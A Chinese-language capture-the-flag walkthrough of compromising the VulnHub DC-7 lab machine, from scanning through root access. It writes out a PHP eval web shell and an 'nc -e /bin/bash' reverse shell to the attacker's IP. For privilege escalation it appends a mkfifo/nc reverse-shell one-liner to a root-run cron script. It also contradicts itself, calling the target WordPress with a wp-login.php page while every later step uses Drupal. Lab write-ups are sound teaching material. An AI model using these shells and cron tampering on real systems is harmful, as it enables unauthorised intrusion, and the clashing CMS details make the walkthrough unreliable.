vulnhub DC-7靶机实战
字数 1295 2025-08-11 22:57:18
DC-7 靶机实战教学文档
0X01 环境部署
-
下载靶机:
- 下载地址:https://www.vulnhub.com/entry/dc-7,356/
- 安装完成后将网络设置为NAT模式
-
网络配置:
- Kali Linux:NAT模式
- DC-7靶机:NAT模式
0X02 信息收集
-
主机发现:
arp-scan -l- 假设发现:
- Kali IP: 192.168.190.128
- DC-7 IP: 192.168.190.135
- 假设发现:
-
端口扫描:
nmap -sS 192.168.190.135- 发现开放80端口(HTTP服务)
-
目录扫描:
python3 dirsearch.py -u http://192.168.190.135/- 发现后台登录页面:
http://wordy/wp-login.php
- 发现后台登录页面:
-
网站分析:
- 确认网站使用WordPress CMS
0X03 获取初始访问权限
-
发现凭据:
- 网站首页存在提示"@DC7USER"
- 在GitHub搜索找到配置文件,包含数据库凭据:
<?php $servername = "localhost"; $username = "dc7user"; $password = "MdR3xOgB7#dW"; $dbname = "Staff"; $conn = mysqli_connect($servername, $username, $password, $dbname); ?> - 尝试SSH登录成功:
ssh dc7user@192.168.190.135 密码: MdR3xOgB7#dW
-
枚举系统信息:
- 查看当前用户权限:
whoami - 检查文件系统:
ls -la - 发现
/opt/scripts/backups.sh脚本:cd /opt/scripts cat backups.sh - 发现
drush命令可用于修改Drupal用户密码
- 查看当前用户权限:
-
修改Drupal管理员密码:
cd /var/www/html drush user-password admin --password="123456"
0X04 获取Web Shell
-
登录Drupal后台:
- URL:
http://192.168.190.135/ - 凭据: admin/123456
- URL:
-
安装PHP模块:
- 进入Extend → Install new module
- 输入PHP模块URL:
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz - 下载并安装
-
上传Web Shell:
- 创建Basic Page
- 插入PHP代码:
<?php @eval($_POST['cmd']);?> - 使用蚁剑或其他工具连接Web Shell
-
获取交互式Shell:
- Kali监听:
nc -lvnp 5678 - 通过Web Shell执行:
nc -e /bin/bash 192.168.190.128 5678 - 升级为完全交互式Shell:
python -c 'import pty;pty.spawn("/bin/bash")'
- Kali监听:
0X05 权限提升
-
利用定时任务提权:
- 检查
/opt/scripts/backups.sh脚本 - 该脚本可能由root用户定期执行
- 向脚本追加反向Shell命令:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.190.128 12345 >/tmp/f" >> backups.sh- 注意使用
>>追加而非>覆盖
- 注意使用
- 检查
-
获取root Shell:
- Kali监听:
nc -lvnp 12345 - 等待脚本执行后获取root权限
- Kali监听:
-
获取flag:
cd /root ls cat theflag.txt
0X06 总结与关键点
-
信息收集阶段:
- 全面扫描端口和服务
- 关注网站中的提示信息(如@DC7USER)
- 利用GitHub等公开资源搜索相关信息
-
初始访问:
- 发现并利用公开的SSH凭据
- 使用drush修改Drupal管理员密码
-
Web Shell获取:
- 在Drupal 8+中需要单独安装PHP模块
- 使用蚁剑等工具建立连接
-
权限提升:
- 识别可利用的定时任务脚本
- 通过追加而非覆盖方式修改脚本
- 利用root执行的定时任务获取最高权限
-
关键命令备忘:
drush user-password- 修改Drupal用户密码nc -e /bin/bash- 反弹Shellpython -c 'import pty;pty.spawn("/bin/bash")'- 升级交互式Shell>>与>的区别 - 追加与覆盖